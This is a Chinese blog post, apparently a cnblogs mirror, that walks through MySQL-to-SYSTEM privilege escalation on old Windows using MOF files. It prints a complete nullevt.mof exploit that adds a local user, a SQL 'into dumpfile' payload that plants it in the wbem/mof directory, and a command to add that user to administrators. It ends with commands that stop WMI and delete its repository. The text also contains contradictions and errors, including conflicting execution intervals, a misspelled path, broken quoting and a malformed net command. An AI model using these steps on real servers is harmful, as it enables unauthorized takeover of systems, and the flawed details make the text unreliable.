zoukankan      html  css  js  c++  java
  • MySQL提权之mof提权

    mof提权原理

    关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。下面简单演示下 mof 提权的过程!

    MOF提权的条件要求十分严苛:

    1.windows 03及以下版本
    2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
    3.secure-file-priv参数不为null
    MOF文件

    托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

    提权原理

    MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

    公开的nullevt.mof利用代码

     1 #pragma namespace("\\.\root\subscription")
     2 instance of __EventFilter as $EventFilter
     3 {
     4 EventNamespace = "Root\Cimv2";
     5 Name = "filtP2";
     6 Query = "Select * From __InstanceModificationEvent "
     7 "Where TargetInstance Isa "Win32_LocalTime" "
     8 "And TargetInstance.Second = 5";
     9 QueryLanguage = "WQL";
    10 };
    11 instance of ActiveScriptEventConsumer as $Consumer
    12 {
    13 Name = "consPCSV2";
    14 ScriptingEngine = "JScript";
    15 ScriptText =
    16 "var WSH = new ActiveXObject("WScript.Shell")
    WSH.run("net.exe user hpdoger 123456 /add")";
    17 };
    18 instance of __FilterToConsumerBinding
    19 {
    20 Consumer = $Consumer;
    21 Filter = $EventFilter;
    22 };

    MOF文件利用

    将上面的脚本上传到有读写权限的目录下:

    这里我上传到了C:Documents and Settings est

    根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
    payload:

    select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

    值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。

    验证提权

    当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

     可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:

    net.exe user localgroup administrator hpdoger /add

    关于Mof提权的弊端

    我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

    cmd 下运行下面语句:

    net stop winmgmt
    del c:/windows/system32/wbem/repository
    net start winmgmt

    重启服务即可。

  • 相关阅读:
    毕设(五)ListView
    毕设(四)ListBox
    毕设(三)NotifyIcon
    hdu 1.2.3
    ZOJ 1789 The Suspects
    ZOJ 2833 Friendship
    git
    yum wget rpm
    上传绕过
    LAMP 和 LNMP
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12991468.html
Copyright © 2011-2022 走看看